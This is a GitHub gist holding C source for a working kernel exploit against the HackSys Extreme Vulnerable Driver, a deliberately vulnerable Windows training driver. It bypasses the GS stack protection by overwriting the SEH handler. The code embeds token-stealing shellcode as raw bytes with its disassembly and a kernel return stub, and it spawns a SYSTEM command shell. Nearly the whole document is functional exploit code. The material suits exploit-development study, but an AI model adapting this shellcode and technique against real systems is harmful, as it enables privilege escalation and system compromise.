Skip to content

Instantly share code, notes, and snippets.

@ewilded
Created October 4, 2021 16:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ewilded/cb98988cadb2701b274f640944c23ee7 to your computer and use it in GitHub Desktop.
Save ewilded/cb98988cadb2701b274f640944c23ee7 to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <windows.h>
#include <conio.h>
#define HACKSYS_HEVD_IOCTL_STACK_OVERFLOW_GS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS)
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
#define SHARED_MEMORY_NAME "HackSysExtremeVulnerableDriverSharedMemory"
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
// token-stealing shellcode taken from hasherezade's PoC
// stub taken from https://klue.github.io/blog/2017/09/hevd_stack_gs/ this write up (found the same stack offsets manually earlier), rewrote it to AT&T, generated opcodes, tested
unsigned char kShellcode[] = {
/* token-stealing code:
0: 60 pusha
1: 64 a1 24 01 00 00 mov %fs:0x124,%eax
7: 8b 40 50 mov 0x50(%eax),%eax
a: 89 c1 mov %eax,%ecx
c: ba 04 00 00 00 mov $0x4,%edx
11: 8b 80 b8 00 00 00 mov 0xb8(%eax),%eax
17: 2d b8 00 00 00 sub $0xb8,%eax
1c: 39 90 b4 00 00 00 cmp %edx,0xb4(%eax)
22: 75 ed jne 0x11
24: 8b 90 f8 00 00 00 mov 0xf8(%eax),%edx
2a: 8b b9 f8 00 00 00 mov 0xf8(%ecx),%edi
30: 83 e2 f8 and $0xfffffff8,%edx
33: 83 e7 07 and $0x7,%edi
36: 01 fa add %edi,%edx
38: 89 91 f8 00 00 00 mov %edx,0xf8(%ecx)
3e: 61 popa
3f: 31 c0 xor %eax,%eax
*/
0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1,
0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D,
0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED,
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00,
0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x07, 0x01, 0xFA, 0x89, 0x91, 0xF8, 0x00,
0x00, 0x00, 0x61, 0x31, 0xC0,
/* now, kernel clean return stub:
mov (esp+0x78c), %edi
mov (esp+0x790), %esi
mov (esp+0x794), %ebx
add $0x9b8, %esp
pop %ebp
ret $0x8
*/
0x8b, 0xbc, 0x24, 0x8c, 0x07, 0x00, 0x00, 0x8b, 0xb4, 0x24, 0x90, 0x07,
0x00, 0x00, 0x8b, 0x9c, 0x24, 0x94, 0x07, 0x00, 0x00, 0x90, 0x90, 0x90,
0x81, 0xc4, 0xb8, 0x09, 0x00, 0x00, 0x5d, 0xc2, 0x08, 0x00
};
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
HANDLE open_device(const char* device_name)
{
HANDLE device = CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return device;
}
void close_device(HANDLE device)
{
CloseHandle(device);
}
BOOL send_ioctl(HANDLE device, DWORD ioctl_code)
{
// Payatu's official HEVD exploit code instead
// For now let's go with Payatu's code ;]
ULONG BytesReturned;
SIZE_T PageSize = 0x1000; // 4096
HANDLE Sharedmemory = NULL;
PVOID MemoryAddress = NULL;
PVOID SuitableMemoryForBuffer = NULL;
LPVOID SharedMappedMemoryAddress = NULL;
SIZE_T SeHandlerOverwriteOffset = 0x214; // 532, this our payload length, we put it in the last 532 bytes of a 4096-byte (one page) memory block
// A*512 + DWORD XORED COOKIE + 3 DWORD JUNKS + DWORD SE HANDLER = 512+4+12+4 = 532
// deliberately, so reading past this range will cause an exception in kernel mode, which in turn should trigger the SEH handler we just overwrote
LPCTSTR SharedMemoryName = (LPCSTR)SHARED_MEMORY_NAME;
// Get the device handle
printf("\t\t[+] Creating Shared Memory\n");
// Create the shared memory
Sharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_EXECUTE_READWRITE,0,PageSize,SharedMemoryName); // Create a 4KB mapping
if (!Sharedmemory) {
printf("\t\t\t[-] Failed To Create Shared Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
printf("\t\t\t[+] Shared Memory Handle: 0x%p\n", Sharedmemory);
}
printf("\t\t[+] Mapping Shared Memory To Current Process Space\n");
// Map the shared memory in the process space of this process
SharedMappedMemoryAddress = MapViewOfFile(Sharedmemory,FILE_MAP_ALL_ACCESS,0,0,PageSize); // Mapped view of file - a virtual address in user space, one page 4KB
if (!SharedMappedMemoryAddress) {
printf("\t\t\t[-] Failed To Map Shared Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
printf("\t\t\t[+] Mapped Shared Memory: 0x%p\n", SharedMappedMemoryAddress);
}
SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset)); // set this to 3564-th byte, the beginning of our payload
// e.g. 0x1000 (4096) + (4096 - 532 = 3564), which means that our payload (A*512+DWORD (COOKIE) + 3 DWORDS (JUNK) + DWORD (EIP SEHANDLER)) MUST START HERE
// so our payload should be 532-bytes long
// and reading past it will cause reading past the 4096 byte-long SharedMappedMemoryAddress - and cause an exception while in kernel mode
printf("\t\t[+] Suitable Memory For Buffer: 0x%p\n", SuitableMemoryForBuffer);
printf("\t\t[+] Preparing Buffer Memory Layout\n");
RtlFillMemory(SharedMappedMemoryAddress, PageSize, 0x41);
MemoryAddress = (PVOID)((ULONG)SuitableMemoryForBuffer + 0x210); // SE handler
*(PULONG)MemoryAddress = (ULONG)kShellcode;
printf("\t\t\t[+] SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress);
printf("\t\t\t[+] SE Handler Address: 0x%p\n", MemoryAddress);
printf("\t\t[+] EoP Payload: 0x%p\n", kShellcode); // kShellcode
printf("Press any key to continue (set the breakpoint at this shellcode if you want, just remember to use .process first)...\n");
_getch();
printf("\t[+] Triggering Kernel Stack Overflow GS\n");
printf("\t[+] Making the driver read from usermode %x to %x.\n",(ULONG)SuitableMemoryForBuffer,(ULONG)((ULONG)SuitableMemoryForBuffer+(ULONG)SeHandlerOverwriteOffset));
OutputDebugString("****************Kernel Mode****************\n");
// RAISE_EXCEPTION_IN_KERNEL_MODE is just a predefined constant (0x4) || NOW DEBUG AGAIN (WITHOUT 0x4 OFFSET) TO SEE IF WE OVERWRITE THE RIGHT POINTERS IN MEMORY (before we hit the canary-checking function, we can see this with a breakpoint right after memcpy call)
DeviceIoControl(device, ioctl_code, (LPVOID)SuitableMemoryForBuffer, (DWORD)SeHandlerOverwriteOffset+0x4,
NULL, 0, &BytesReturned, NULL);
// Debugger entered on first try; Bugcheck callbacks have not been invoked.
OutputDebugString("****************Kernel Mode****************\n");
return EXIT_SUCCESS;
}
int main()
{
HANDLE dev = open_device(kDevName);
if (dev == INVALID_HANDLE_VALUE) {
printf("Failed!\n");
system("pause");
return -1;
}
send_ioctl(dev, HACKSYS_HEVD_IOCTL_STACK_OVERFLOW_GS);
close_device(dev);
system("cmd.exe"); // we should be SYSTEM now, spawn cmd.exe
system("pause");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment